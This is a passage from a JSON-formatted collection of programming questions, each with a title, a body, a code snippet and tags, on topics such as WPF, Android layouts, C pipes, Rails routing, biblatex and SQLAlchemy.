ScaleTransform.ScaleYProperty, sliderRBind1);\n\n\n/* Slider - Slider should be
placed outside the canvas to prevent being redrawn */\nSlider sliderR = new
Slider();\nsliderR.Minimum = 1;\nsliderR.Maximum = 3;\nsliderR.Value = 1;\
nsliderR.TickPlacement = TickPlacement.BottomRight;\nsliderR.TickFrequency = 0.2;\
nsliderR.IsSnapToTickEnabled = true;\n", "c# wpf binding"], "5600776": ["How to
determine if a file is in ROM in Windows Mobile?", "Is there a way to
programmatically determine if a given file path and name is stored in ROM (i.e.
came installed on the device) or RAM (i.e. created after a hard reset)?\n", "",
"windows-mobile"], "3971684": ["WebForm validation in Biztalk", "I point out that
I'm completely a newbie about Biztalk.\nI have a C# application (.NET 1.1) with a
simple webform.\nWhen the user submits this form, I should perform the following:\
n\nthe webform invokes Biztalk2002 with the value/s of one or more texfield/s\
nBiztalk checks if the value of the field passed is correct\nBiztalk returns a
message to the web application depending on the correctness of the value.\n\nI know
that Biztalk isn't build to make the validation of a form, but this is what I've
been asked to do :)\nSince I've only heard mentioning Biztalk but I've never opened
it, could someone explain me what is necessary to build in Biztalk and which is the
best way to send/receive a value from/to a .NET application?\n", "", "c# .net
biztalk"], "4796452": ["Phonegap reading recorded audio in salesforce", "I'm
developping a mobile application for salesforce, I'm using android, salesforce
mobile SDK, and phonegap's Media API.\nWell, I can record voice, upload the file to
the server, after reading it in base64, as an attachment to my object.\nhere is the
code i'm using\n\nI think this part works well, because I can download this file
and read it with VLC but I can't do this with Windows media player even if it's
a .wav file.\nBut when I try to read it in salesforce using visualforce pages, and
try to embed in an audio tag, this doesn't work.\nAgain here is my Visualforce and
Apex controller codes:\n\nThanks a lot for answering my question, I'm feeling close
but I can't see what I can do\n", "// Reading the audio file as base64\nvar reader
= new FileReader();\nreader.onloadend = function(evt) { \n audioRec =
evt.target.result;\n for (prop in evt.target.error){ \n
console.log(\"<<<< Error\" + prop + \" = \" + evt.target.error[prop] + \"
>>>>\"); \n }\n}; \nreader.readAsDataURL(fileEntry);\n// uploading the audio
file as attachment\n\naudioRec = audioRec.replace(\"data:audio/x-
wav;base64,\", \"\");\nforcetkClient.create('Attachment', {\
n \"ParentId\" : data.id,\n \"Body\" : audioRec,\
n \"ContentType\" : \"audio/x-wav\", // when specified I can't download
it -- \n \"Name\" : src\n }, function (){\n
console.log(\"Upload with Success :) \");\n }, function (){\n
console.log(\"Fail in Upload :( \");\n });\n", "android audio phonegap
salesforce base64"], "2715140": ["Does there exist any serialization library for c+
+ that is as easy as Google Gson/XStream for java?", "It seems like every library
I've ever seen recommended doesn't offer an api as easy as this.\n\nHas anyone
heard of something this easy for c++?\nIn hava there are a couple of libraries that
are so easy to use for converting text into objects and objects into text. This is
one of those \"solved problems\" things, which is why it surprises me that there is
no buzz around a c++ library (that I have heard of.)\n", "MyClass* instance =
(MyClass*)SerializationUtility.serialize(someString);\n", "c++ serialization"],
"5920268": ["Maven Error from Eclipse", "I had a maven project that worked fine in
Eclipse 3.4.2 before I updated that project.\n\nWhen I perform the following from
Eclipse: \n(1) maven clean, then\n (2) maven install;\nthe installation fails.
Here is a partial of the log.\n\nHowever, if I run \nmvn clean install\nfrom DOS
command line (Java JDK 1.6.0_17), everything is fine, and the .war fine is deployed
under my ~/m2/...\nHere is the log file from command line.\n\nAny suggestions,
please advise.\nThanks\nDave\n", "OS: Windows XP, SP2\nMaven: maven-2.2.1\nJava:
jdk1.6.0_17\n\nEclipse: 3.4.2\nm2e: 0.9.8\n", "maven"], "5793049": ["question
on printf", "when we print an address of a variable, which address gets printed?\
nif it is virtual memory, then why is it so?\ncan any one explain some more...\n",
"", "memory printf address"], "4452855": ["How do you debug Share Picker
extensions?", "I have registered my Phone 7 app as a Share Picker Extension. It
works\u2014my app is in the list of Share options and it gets launched and I can
load the chosen image. Okay, great.\nBut then things go wrong in my code. I would
like to be able to debug the issues, but I can't seem to keep the debugger
attached.\nI cannot debug this in the simulator, since the Pictures app (and thus
the Share Picker functionality) is not present in the simulator. \nI cannot debug
this on the phone because as soon as I pick my app from the Share list, the
debugger detaches... right as my app is \"launching\" again.\nIs it possible to
attach the debugger to a running WP7 app? Is it possible to keep the debugger
attached? Am I doing it wrong? Any suggestions, advice or guesses are welcome
because I'm tearing my hair out.\n", "", "silverlight visual-studio-2010 debugging
windows-phone-7"], "5414065": ["extract doc file from WYSIWYG", "Last week while i
was working on WYSIWYG - cKeditor. a question came in my mind. Is there any way to
extract or pull out the content of doc or docx file into the blogger or wordpress
text area. For instance, we need not to select and copy the text or images from
doc(x) file. All we need to do is hand over the file to WYSIWYG and content of
doc(x) file is pasted in the post.\nAny suggestion would be appreciated.\nThanks\
nFawaz\n", "", "wordpress ms-word ckeditor wysiwyg blogger"], "3492483": ["Stick to
basic Java EE 6, or choose a framework like Play. Freshly graduated", "This thread
is a little related too: framework or not and Spring or Java EE 6, oh my\nThe
question summed up:\nShould I stay with Java EE 6 without much framework, besides a
little hibernate, or should I jump into a framework like Play? All I want, is to
create a fancy website while having some control and flexibility to feed my
curiousity.\nshort background\nAs a beginner of creating my first solid webpage,
and having 3 years of studies of Java, and the last year, java EE 6, I find myself
in spot before starting a new hobbyproject, wheter I should stick to just basic
Java EE 6 while creating my new page, or if I should use a framework like
playframework. \nThe project\nI want to achieve the following with the site:\n\
nHTML5 and css3, and some fancy jQuery\nBeing able for admin to log in to site, and
have basic control over it (posts, news, pictures, videos)\nHaving option for it to
look great on smartphones (not sure how to fix that yet, maybe create a own mobile
link when detecting its a phone?)\nStoring comments, posts in database.\nMultiple
languages (german, english for starters)\n\nThats about it. The real question is,
if I shoot myself in the foot further down in my understanding of webdevelopment,
by using a framework like play. (framework like hibernate/spring etc I feel is a
little different.) \nFor me technology means to make life and tasks easier for
everyone, so this is a strong argument for choosing Play, to push for new ideas and
ways of doing things. But on the other side, a book I've read and use as reference,
is Java EE 6 with Glassfish 3, and I am not sure if I should just stick to this,
increasing perhaps a deeper understanding of web-development with Java, or push for
this new technology as it seems to make things fast and easy. \nSorry for this
weird question, but its so much choices now, and perhaps some veterans could guide
me a little? \n", "", "playframework java-ee-6"], "1686734": ["Set the side of an
image when using android:drawable____ in a button", "Simple question here : I am
customizing some buttons, placing an icon next to my text via android:drawableLeft
or Right, but I can't seem to find how to define the size with accuracy. My image
happen to be too big and go out of the shape of my button. \nOh, and while I am at
it: android:drawableLeft allows to put an image on the left of the text, but how to
decide the distance FROM the text ? In my case, it automatically goes to the
extreme left of my button while my text is centered. The result is everything but
nice ! \nThanks !\n", "", "android image button drawable"], "2825140": ["How to
change FxCop language?", "Is it possible to change the language of the FxCop
dictionary to something other than English?\nHow can it be done?\n", "",
"internationalization fxcop"], "4173091": ["How should I delete hash elements while
iterating?", "I have fairly large hash (some 10M keys) and I would like to delete
some elements from it.\nI usually don't like to use or , and I wind up copying
what I want instead of deleting what I don't. But this time, since the hash is
really large, I think I'd like to delete directly from it.\nSo I'm doing something
like this:\n\nAnd it seems to work OK. But.. what if I'd like to delete some
elements even before iterating on them? I'll explain by example:\n\nI thought of
some possible solutions - like checking if a key still exists as the first step in
the loop or first looping and creating a list of keys to delete (without actually
deleting them), then actually deleting in another loop.\nWhat are your thought
regarding this?\nUPDATE\nIt's seems that the double-pass approach has a consensus.
However, it is quite inefficient in the sense that during the first pass I double-
check keys that were already marked for deletion. This is kinda recursive, because
not only I check the key, I also calculate the other keys that should be deleted,
although they were already calculated by the original key. \nPerhaps I need to use
some more dynamic data structure for iterating over the keys, that will updated
dynamically?\n", "delete", "perl hash delete"], "85717": ["Query with InfoPath2010
and SQL Server", "In Infopath I'm wondering if the following is possible\n\nI am
able to pull First and Last name from a user via a web service\nPull these pre-
filled details from textboxes, and use them in a SQL query in a database to pull
out customer identifier.\nInsert the retrieved identifier into a separate SQL
Server table ?\n\nJust confused what template/method to approach in infopath to
achieve this ?\n", "", "sql-server infopath"], "5611895": ["Struggles with
installing curl on windows 7", "I've been trying to install curl on my work
computer for awhile and I keep getting into problems. I have un-commented the
extension php_curl.dll in the php.ini. But every time I try to run a program with
curl in it, I get an error saying that the curl function is not defined. I've done
phpinfo to make sure it is in the right path and it is. I am not using Xammp, or
Wammp.\n", "", "php curl"], "4149780": ["K & R Question: Need help
understanding \"getbits()\" method in Chapter 2", "As I've mentioned before, I'm
going through K&R, and overall am doing all right with it. However, in chapter 2,
the section on bitwise operators (section 2.9), I'm having trouble understanding
how one of the sample methods works -- and as a result, I'm having trouble with the
associated exercises. \n(This isn't a dupe of my prior question on bit-shifting,
btw. This is new-and-improved!)\nSo here's the method provided:\n\nThe idea is
that, for the given number x, it will return the n bits starting at position p,
counting from the right (with the farthest right bit being position 0). Given the
following main() method:\n\nThe output is:\n\ngetbits(63892 (f994), 4, 3) = 5 (5)\
n\nI get portions of this, but am having trouble with the \"big picture,\" mostly
because of the bits (no pun intended) that I don't understand.\n(Note that I'm not
looking for help with the associated exercises -- I think if I \"got\" this, I'd be
able to get those.)\nThe part I'm specifically having issues with is the
complements piece: . I think I get the first part, dealing with x; it's this part
(and then the mask) that I'm struggling with -- and how it all comes together to
actually retrieve those bits. (Which I've verified it is doing, both with code and
checking my results using calc.exe -- thank God it has a binary view!)\nAny help?\
n", "unsigned int getbits(unsigned int x, int p, int n) {\n return (x >> (p + 1
- n)) & ~(~0 << n);\n}\n", "c operators bit-manipulation bit-shift complement"],
"5162701": ["Rails routes work in console but not server", "I'm having trouble with
a route that seems to be right in the console but gives me a routing error when I
use it in the server. The case is similar to the \"edit\" and \"update\" pair.
Calling GET 'messages/25/followup' should route to messages#followup, while the
same URL with POST should route to messages#followup_send. In my routes.rb file I
have\n\nDisplaying the routes gives\n\nTesting in the console gives\n\nThe code in
the form is\n\nHowever, if I click on the button I get in the log\n\nThe same thing
happens if I enter the URL manually (including the \"method=post'). I will just get
around this for now by using a separate name (e.g. /messages/42/send_followup)
rather than relying on the GET-POST distinction, but I would like to understand
what is going on here.\nThanks for any ideas.\n", "get
\"messages/:id/followup\", :to => \"messages#followup\"\nmatch
\"messages/:id/followup\", :to => \"messages#followup_send\", :via => :post\n",
"ruby-on-rails-3 routes rails-routing http-method"], "5998004": ["Gauss
Curvature visualization", "I am going to visualize Gauss curvature of any function
in 3D format, so preferably in the format of this article \"Visualisations of
Gussian and Mean Curvatures by\nUsing Mathematica and webMathematica\" is there any
one to give me help?\nThanks \n", "", "differential-geometry"], "4885875":
["Typeset Re(a+ib)", "How to typeset the \"Re\" of Re(a+ib) correctly inside an
equation in latex? I tried using \\mathcal and \\mathbb but it does not give me the
typical rounded R I already saw in other documents...\nAny help?\nThanks in
advance!\n", "", "math-mode symbols"], "616476": ["Interview Questions in OOP", "I
faced the below interview questions in OOP under PHP language. Kindly clear my
clarifications regarding this. I am very confused. As i am a beginner to OOP i got
too confused. Could anyone clarify these things clearly?\n\nDifference between
Abstract class and interface.\nInterviewer : Let us consider abstract class
contains three abstract methods such as a,b,c and interface contains three methods
a,b,c. In this case these do the same functionality. Then why are going for
abstract and why are we going for interface.\nMe : ?\nstatic keyword.\nInterviewer:
We call static method without creating object by using scope resolution operator in
PHP. As well as we can able to call concrete methods also. Then what is need of
static keyword there?\nMe : ....\nfinal keyword.\nInterviewer: Give me any scenario
of using final keyword.\nMe : For db connection related method\nInterviewer: Other
than that?\nMe: ...\nConstructor.\nInterviewer: What is the use of constructor?\nMe
: There is no need for object to access this. It will call automatically when the
class calls.\nInterviewer: Other than that?\nMe : ....\n\nThanks in advance...\n",
"", "php object-oriented interview"], "4002331": ["Mount USB devices in Arch
Linux", "I recently installed Arch on my computer and now I would like to read data
from USB devices (i.e. flash drives, SD cards, etc.) but I don't know how to. I
know that using Gnome or KDE will do this for me automatically but I am only using
Openbox for my installation so I don't know where to start.\nI read from the Arch
Wiki that Udev handles this but I don't know how to use it (or find it for that
matter). I also checked and is empty so I doubt that my USB devices are mounted
automatically. I want to:\n\nKnow where these devices are being (or are going to
be) mounted\nKnow how to check if these devices are mounted\nKnow how to mount them
if these devices are not mounted\nKnow how to automatically mount them once I
insert them into the USB slot\n\nThanks.\n", "/etc/udev/rules.d/", "usb arch-linux
automount usb-storage"], "5615725": ["Can other see the content I post over a
secure connection?", "I'm gonna ask a question which includes both SSL and VPN.
Though, question is same for both. \nFor SSL, i logged into a forum which
offers/supports SSL encryption for secure authentication.(like email services,
banks did).That way, the data between me and server(if server is properly built in
any cases and service is reliable)is secured and even ISP can't display it. Then,
i started a thread as a registered member of that forum. Can other\nregistered
members display the thread content? \nSame question is valid for the VPN as well.
Can other\nregistered members display the thread content? \nIf they can, where is
the security on the content except login information case? (for VPN and SSL). I
mean perhaps ISP at that moment can't examine it but members and web site owner see
everything.\n", "", "security vpn encryption login ssl"], "650975": ["designing
with linear layout in android", "I want to design following design in android using
Linear layout\n\nI had written following code but not working\n\nit gives me output
like\n\ncan anyone pointout me.. where is problem???\n", "<LinearLayout
xmlns:android=\"http://schemas.android.com/apk/res/android\"\n
android:layout_width=\"fill_parent\" android:layout_weight=\"1\"\n
android:layout_height=\"fill_parent\" android:orientation=\"vertical\">\n\n
<LinearLayout\n android:layout_width=\"match_parent\"\n
android:layout_height=\"wrap_content\" android:layout_weight=\"1\" >\n\n
<ImageView\n android:id=\"@+id/imageView1\"\n
android:layout_width=\"wrap_content\"\n
android:layout_height=\"wrap_content\"\n
android:src=\"@android:drawable/alert_dark_frame\" /> \n
<LinearLayout android:layout_width=\"match_parent\"\n
android:layout_height=\"wrap_content\"\n
android:weightSum=\"2\" >\n <TextView\n
android:id=\"@+id/textView1\"\n
android:layout_width=\"wrap_content\"\n
android:layout_height=\"wrap_content\" android:layout_alignParentLeft=\"true\"\n
android:text=\"TextView\" android:layout_weight=\"1\" /> \n
<TextView\n android:id=\"@+id/textView2\"
android:layout_weight=\"1\"\n
android:layout_width=\"wrap_content\" \n
android:layout_height=\"wrap_content\" android:layout_alignParentRight=\"true\"\n
android:text=\"TextView\" />\n </LinearLayout> \n
<TextView\n android:id=\"@+id/textView3\"\n
android:layout_width=\"wrap_content\"\n
android:layout_height=\"wrap_content\"\n
android:text=\"TextView\" android:hint=\"TestData\"/>\n </LinearLayout>
\n</LinearLayout>\n", "android android-layout"], "1590282": ["java simple neural
network setup", "I have decided to play around with some simple concepts involving
neural networks in Java, and in adapting somewhat useless code I found on a forum,
I have been able to create a very simple model for the typical beginner's XOR
simulation:\n\n\nIn my main class, I've created the simple simulation in modeling
Jeff Heaton's diagram:\n\nHowever, I wanted to ensure my implementation for the
Neuron class is correct..I've already tested all possible inputs ( [true true],
[true false], [false true], [false false]), and they all passed my manual
verification. Additionally, since this program accepts the inputs as arguments, it
also seems to pass manual verification for inputs such as [true false false], [true
true false], etc..\nBut conceptually speaking, would this implementation be
correct? Or how can I improve upon it before I start further development and
research into this topic?\nThank you!\n", "\npublic class MainApp {\n public
static void main (String [] args) {\n Neuron xor = new Neuron(0.5f);\n
Neuron left = new Neuron(1.5f);\n Neuron right = new Neuron(0.5f);\n
left.setWeight(-1.0f);\n right.setWeight(1.0f);\n xor.connect(left,
right);\n\n for (String val : args) {\n Neuron op = new
Neuron(0.0f);\n op.setWeight(Boolean.parseBoolean(val));\n
left.connect(op);\n right.connect(op);\n }\n\n
xor.fire();\n\n System.out.println(\"Result: \" + xor.isFired());\n\n }\
n}\n", "java artificial-intelligence neural-network simulation"], "5600774":
["Include external function into a phpunittest with selenium", "Hy guys\nI\u00b4m
trying to include a function from a php-file to my phpunittest.\nWhen i do not
include it, it works fine. I already tried some different solutions with i found
while googleing... \nThere is no error message, it is not even starting to run the
test. \nI want something like that:\nthis should be the included function in
mappingfunction.php\n\nThis should be the PhpUnit-test:\n\nWhy is it not working?
What could I do instead?\nThanks\n", "<?php\n public function mapping(string
catname)\n {\n echo ($catname);\n\n } ?>\n", "selenium include phpunit"],
"5611225": ["Downloading excel file in asp.net mvc", "What I'm trying to implement
is giving the users the ability to export the grid data to an excel file and
download it, with the help of a file save dialog.\nHere's how I have coded it right
now -\nIn Javascript -\n\nIn the Identifier controllers Download action -\n\nIn the
DownloadToExcel class, inside the WriteData function I have -\n\nWhen I run this
code, I expect to see a File Save Dialog in the browser, but nothing happens. There
aren't any errors on the C# or JavaScript side. Can anyone tell me what i could be
doing wrong?\n", "$.post(\"/irn/Identifier/Download\", { \"columnValues\":
columnValues });\n", "asp.net-mvc-3 file-download filecontentresult fileresult"],
"2410163": ["java jcombobox without scrollbar?", "I have a JComboBox component:\n\
nAnd I would love to have this combobox without scrollbar! How could I reach this?
Please help! Thanks!\n", "ho2Combo = new JComboBox();\nho2Combo.setLocation(x, y);\
nho2Combo.setSize(w, h);\nho2Combo.setFont(comboFont);\nho2Combo.setModel(new
DefaultComboBoxModel(Format.model(0))); //this fills up the combobox\
nho2Combo.setSelectedIndex(0);\nho2Combo.addItemListener(new ItemListener() {\n
public void itemStateChanged(ItemEvent evt) {\n
ho2ComboItemStateChanged(evt);\n }\n});\nadd(ho2Combo);\n", "java swing
jcombobox jlist jscrollbar"], "4210468": ["abap runtime error program line too
long", "Good day. The programs function is to take an equipment number (or none),
display that number with a description (or all) in alv, and then run IE03 should
the user double click on \nProgram worked fine in client 110, but in 150 a runtime
error happens. This morning I tried to make a
new program with a shorter name (only lead I had), activated it (window popped up
asking me to activate the previous version as well). That didn't work and now the
original doesn't work in either. \nThe program \"SAPLSKBH\" is terminating because
program line is too long, being 78 chars wide which is too much for the internal
table \"\\FUNCTION=K_KKB_FIELDCAT_MERGE\\DATA=L_ABAP_SOURCE[]\"\n", "", "runtime-
error abap"], "640850": ["Ankhsvn integration with Redmine", "Just out of
curiousity I'm deploying AnkhSVN with Visual Studio 2010 in our development office,
and have had much success with Redmine in managing projects. However, one issue is
integrating AnkhSVN with Redmine in regard to Issues. So I can submit a commit
against for a particular bug fix. Is this possible?\n", "", "svn visual-studio-
2010 ankhsvn redmine redmine-plugins"], "5114798": ["Using pipes in C for parent-
child IPC makes program block", "I am writing a server which fork()'s off a child
process when it accepts a socket connection.\nAs the child communicates with a
client, it must send some of that information back to the parent. I am using a pipe
to accomplish this.\nThe problem is that when I try to do the parent-child IPC, the
parent blocks when reading input from the child. Which means that, even though the
children are running concurrently, they can only be processed one-at-a-time because
they are all waiting for the parent.\nMy code looks something like this (error-
checking removed for brevity):\n\nSo my question is, how do I remedy this? How can
I have the parent communicating with a children using pipes in such a way that it
is not blocking?\nIs this even possible with pipes, or should I used shared memory
(with a semaphore, i guess) or message queue instead? (I read this post:
http://stackoverflow.com/questions/404604/comparing-unix-linux-ipc but it is really
difficult to find examples how these tasks are actually accomplished.) \nMore
details:\nI have a test program that does the following:\n1. Connect to the server\
n2. Sleep(5)\n3. Disconnect from the server\nWhen I run 2 instances of this
program, the server outputs this:\n\nObviously processing each client one at a
time.\nWhen I remove the IPC - when I get rid of the pipe read() and write()'s from
both the parent and child, I get this:\n\nWhich is what I want!\nAny thoughts on
how I can accomplish this? (or changes I should make in the way I am going about
solving this problem?)\n(edit: This is part of an assignment for a networking
class. We are implementing a P2P protocol that uses a centralized server to manage
the peers. We could use any language, and I figured I'd give it a whirl in C .)\n",
"/* loop: wait for clients to connect */\nfor(;;) {\n\n pipe(write_to_parent); /*
create pipe between parent and child */\n pipe(write_to_child); /* create pipe
between parent and child */\n\n newsockfd = accept(...);\n\n pid = fork();\n\n
if (pid == 0) { /* child process */\n close(write_to_parent[0]);\n
close(write_to_child[1]);\n\n printf(\"Connected!\\n\");\n\n while ((rc =
recv(newsockfd, ...)) > 0) {\n /* process socket request */\n\n /*
write stuff to parent that is related to what we recv'd from client */\n rc
= write(write_to_parent[1], &buf, 1024);\n }\n\n printf(\"Disconnected!\\
n\");\n\n exit(0);\n } else { /* parent */\n\n
close(write_to_parent[1]);\n close(write_to_child[0]);\n\n while
(read(write_to_parent[0], &buf, 1024) > 0) {\n /* accept data from child
process, and do some processing */\n }\n }\n}\n", "c ipc pipes block
interprocess"], "356139": ["How do I omit the title from the shortened citations in
BibLaTeX-Chicago?", "I am writing a history essay using biblatex-chicago. My TA
said that since I am only referencing one work by each author I should omit the
title of the work from the shortened citations (each citation after the first one)\
n\nWhich vies the output:\n\u201cPh\u2019nglui mglw\u2019nafh Cthulhu R\u2019lyeh
wgah\u2019nagl fhtagn\u201d1\nI realized I needed a citation in between them, and
didn\u2019t want to take\nthe time to make another fake entry2\n\u201cThat is not
dead which can eternal lie, yet with stranger aeons, even\nDeath may die.\u201d3\n\
n\nAbdul Alhazred, The Necronomicon (Miskatonic University Press, 738), 6.\nAdam
Tooze, The Wages of Destruction: The Making and Breaking of the Nazi Economy
(London: Allen Lane, 2006), 314.\nAlhazred, The Necronomicon, 616.\n\nYou see how
it automatically shortens the author name, and omits the publisher and year of
publication? How do I get it to also omit the title? I know there is a shorttitle
field I can use to enter a shorter form of the title, which I'll do if I can't get
an answer to this (Or the answer is 'this can't be done'), which will help as some
of these books have multiple subtitles, but I'd like to follow his suggestion if I
can.\n", "\\documentclass[12pt,letterpaper]{article}\n\\usepackage[utf8]{inputenc}
%Allows UTF8 input.\n\n%Citation Stuff\n\\usepackage[german,american]{babel}\n\\
usepackage[babel]{csquotes}\n\\
usepackage[notes,natbib,isbn=false,backend=biber,url=false]{biblatex-chicago}\n\n\\
usepackage{filecontents}\n\n\\begin{filecontents}{\\jobname.bib}\n@BOOK{Example,\
ntitle={The Necronomicon},\nauthor={Alhazred, Abdul},\npublisher={Miskatonic
University Press},\nyear={738},\ncity={Arkham}\n}\n\n@Book{Tooze,\n author =
{Tooze, Adam},\n title = {The Wages of Destruction: The Making and Breaking of the
Nazi Economy},\n publisher = {Allen Lane},\n year = {2006},\n address = {London},\n
isbn = {9780713995664}\n }\n\\end{filecontents}\n\n\\addbibresource{\\jobname.bib}\
n\n\\begin{document}\n\n``Ph'nglui mglw'nafh Cthulhu R'lyeh wgah'nagl fhtagn''\\
autocite[6]{Example}\n\nI realized I needed a citation in between them, and didn't
want to take the time to make another fake entry\\autocite[314]{Tooze}\n\n``That is
not dead which can eternal lie, yet with stranger aeons, even Death may die.''\\
autocite[616]{Example}\n\n\\end{document}\n", "biblatex chicago-style"], "5249289":
["How do I change the formatting of numbers on an axis with ggplot?", "I'm using R
and ggplot to draw a scatterplot of some data, all is fine except that the numbers
on the y-axis are coming out with computer style exponent formatting, i.e. 4e+05,
5e+05, etc. This is obviously unacceptable, so I want to get it to display them as
500,000, 400,000, and so on. Getting a proper exponent notation would also be
acceptable.\nThe code for the plot is as follows:\n\nAny help much appreciated.\n",
"p <- ggplot(valids, aes(x=Test, y=Values)) +\n geom_point(position=\"jitter\") +\
n facet_grid(. ~ Facet) +\n scale_y_continuous(name=\"Fluorescent
intensity/arbitrary units\") +\n scale_x_discrete(name=\"Test repeat\") +\n
stat_summary(fun.ymin=median, fun.ymax=median, fun.y=median, geom=\"crossbar\")\n",
"r ggplot2"], "5299634": ["How can I avoid XCode resetting the location on my
iPhone every time it runs", "Every time I run XCode, my location is being reset to
a location in London. It doesn't recover until I reset my device.\nHow do I avoid
this?\n", "", "ios xcode geolocation gps"], "3840002": ["How shall I approach
search result caching for this MVC3 / RavenDB app?", "In my simple MVC3 application
users can perform searches against my data, which is held in a RavenDB database at
RavenHQ. I know that RavenDB caches proactively, but I'd like to avoid the http
call to RavenHQ in the first place by caching searches. It's likely that each user
will perform the same search more than once, and it's also likely that different
users will perform the same searches. The data won't change more often than
weekly.\nThe search params are properties of a search object. I've tried without
success using output caching on the action (below), varying on the search object.
It may be that I need to vary by each property of the search object individually,
but that seems unsatisfactory as I may in the future add more properties.\nHow
would you approach this? \n\nOutput caching on the action varying by
search.AccName, etc.\nNo caching in web app, rely on RavenDB caching.\nUse
HttpRuntime.Cache (but if so, how)?\nSome other strategy.\n\nExcuse code
formatting, had some problems with that.\n\n", "public class AccItemSearch\n{\n
public string Location { get; set; }\n public string AccName { get; set; }\n
public int? MinPrice { get; set; }\n public int? MaxPrice { get; set; }\n} \n\
npublic class AccItemSearchResults\n{\n public IEnumerable<AccItem> AccItems
{ get; set; }\n public AccItemSearch Search { get; set; }\n}\n\npublic
PartialViewResult Accommodation(AccItemSearch search)\n{\n var accItems = new
List<AccItem>();\n using (IDocumentSession session =
MvcApplication.Store.OpenSession())\n {\n // fill accItems collection by
querying the RavenDB database\n }\n return PartialView(new
AccItemSearchResults \n {\n AccItems = accItems.ToList(), Search =
search\n });\n}\n", "asp.net-mvc-3 caching ravendb"], "2786377": ["mvc
programming question", "Am using a view file,controller and a helper. am accessing
data value through webserver.\nSteps:\n the controller get value from webserver
and set it in the view. the view uses the helper to display the data in some
format. But my helper again calls the webserver method to get the inner values. Is
it correct the helper accessing webservice method? Is it the correct way of
programming in mvc?\nThanks,\n", "", "cakephp"], "85715": ["MVC3 and EF Data first:
what are the best practices?", "It seems that most of the focus with MVC3 and EF4.1
is around \"code first\" - I can't seem to find any examples or tutorials that meet
the following criteria:\n\nuses an existing SQLServer database\nhas separate
projects for web & data access (we will have multiple web apps sharing the
same data access classes)\nrecommendations for validation\n\nDoes such an example
or tutorial exist? Are there any documented \"best practices\" for how to
accomplish this, or rationale for NOT having a solution structured this way?\n",
"", "entity-framework asp.net-mvc-3 entity-framework-4.1 database-first ef-
database-first"], "2410162": ["How to run windows 7 from a USB thumb drive", "I am
building a very small atom-based computer and I want to use a high-end 16gb USB
thumb drive as the only hard drive in it.\nI am fully aware of the limitations
caused by the thumb drive for both performance and durability (of the drive
itself), but that's besides the point and outside of the scope of this question.\nI
have tried many approaches. First, I tried to see if windows 7 would recognize the
USB drive as an installation target, but unfortunately the drive is not shown in
the setup screen as an option. I have also tried the \"emulation\" options offered
in my MB's bios for USB drives but this setting has made no difference. This method
yielded no results at all.\nHaving exhausted that option, I decided to attach a
regular sata drive to the board, installed Windows on it and got it all running.
Then I took the drive and attached it to another computer (as a slave drive) and
using Acronis Disk Director Suite 10 I then made a clone of the partition where
Windows was installed on the Sata drive onto the USB drive.. The USB drive
partition ended up being primary and active. In theory I'd be able to boot off it.\
nHowever, when I boot off it on the small computer it goes into a screen saying the
installation is corrupted and that it needs to be repaired.\nI haven't tried
repairing yet, but I wanted to ask if anybody had any experience doing something
similar. I am ware of Bart PE for XP and running linux off USB drives, but Windows
7 seems to have extra requirements...\nAny information would be very much
appreciated. Thanks in advance.\n", "", "windows-7 usb usb-flash-drive"],
"5849977": ["Anyone want to help make a cheap video game based on being an adult?",
"I've got no skills at programing or making video games, but I want to work with
someone to design a game called \"online adult\" that would be kind of like
a \"where in the world is carmen sandiego?\" (dos) / \"Dopewars\" game based around
the life of an adult. You have to wake up, go to work at your job, and deal with
shit. Like heres some based stuff\n\"see free cats while leaving the grocery store.
take one yes/no\"\n\"cat unpluggs alarm clock, 15 minutes late to work. you hear
from your coworkers all day. then the boss whats to talk to you as your getting
ready to leave. looks like you wount be getting that raise you were thinking
about\"\n\"Get into car wreak driving home. Tail light is $500 dollar fix.
Yes/No?\"\n\"Pulled over from broken tail light. $200 dollar ticket\"\nit would
just be a really simple game. nothing fancy. let me know if anyone wants to work on
this with me.\n", "", "application development-environment game-engine"], "80945":
["Operator overloading polymorphism returning generic collection", "I want to
overload the + operator for adding segments together to form a Path.\nI've defined
a Path where T is Segment and contains a List (where naturally T is Segment).
Segment is an abstract base class for various types of Segment i.e. LineSegment\nI
have an overloaded method Connected which checks that the segments have a common
end point. I'd like to define the overload for 2 Segments in the abstract Segment
class and then for different types i.e. Segment and LineSegment within the
respective derived classes.\n\n@Jon \nSo essentially...\nI'm trying to replace the
following code (path1 is a Path, Segments is a List where T is Segment).\n\nwith \
n\nThe problem is that with the code does not compile.\n", "public static Path<T>
operator +(Segment s1, Segment s2)\n{\n if (s1.Connected(s2))\n {\n
List<Segment> slist = new List<Segment>();\n slist.Add(s1);\n
slist.Add(s2);\n Path<T> p = new Path<T>(slist);\n return p;\n }\n
else\n {\n return null;\n }\n}\n", "c# generics polymorphism operator-
overloading abstract-class"], "312163": ["Eclipse New plugin project wizard can
target eclipse versions, but where is this information saved", "In Eclipse (3.3) if
you start the New Plugin Project Wizard, the first page has a Target Platform,
where you can target a version of eclipse. \nIs this information saved/used and if
so where?\nAlso if you then create an extension the plugin.xml is created, and at
the top is (for me) :\n\nWhere did this version come from?, does it depend on the
extension you just extended? Will it be updated/changed?\n", "<?eclipse
version=\"3.2\"?>\n", "eclipse eclipse-plugin osgi"], "5804": ["Adding an MXML
component as a child of the main application using ActionScript", "How can I add an
MXML component as a child of the main application using ActionScript. It's not
possible to instatiate it, is it? Assuming that behind every mxml file stands an
actionscrpt3 class, I tried to import it but id didn't show up. \n", "", "flex
actionscript-3 flex3 mxml"], "5108342": ["SQLAlchemy declarative syntax with
autoload (reflection) in Pylons", "I would like to use autoload to use an existings
database. I know how to do it without declarative syntax (model/_init_.py):\n\nThis
works fine, but I would like to use declarative syntax:\n\nUnfortunately, this way
I get:\n\nsqlalchemy.exc.UnboundExecutionError: No engine is bound to this Table's
MetaData. Pass an engine to the Table via autoload_with=<someengine>, or associate
the MetaData with an engine via metadata.bind=<someengine>\n\nThe problem here is
that I don't know where to get the engine from (to use it in autoload_with) at the
stage of importing the model (it's available in init_model()). I tried adding\n\nto
environment.py but it doesn't work. Anyone has found some elegant solution?\n",
"def init_model(engine):\n \"\"\"Call me before using any of the tables or
classes in the model\"\"\"\n t_events = Table('events', Base.metadata,
schema='events', autoload=True, autoload_with=engine)\n orm.mapper(Event,
t_events)\n\n Session.configure(bind=engine) \n\nclass Event(object):\n
pass\n", "python reflection sqlalchemy pylons declarative"], "2410161": ["Master
page variables values being lost", "I know this is pretty basic, but why do
variables in master pages lose their value in the child pages?\nFor example if I
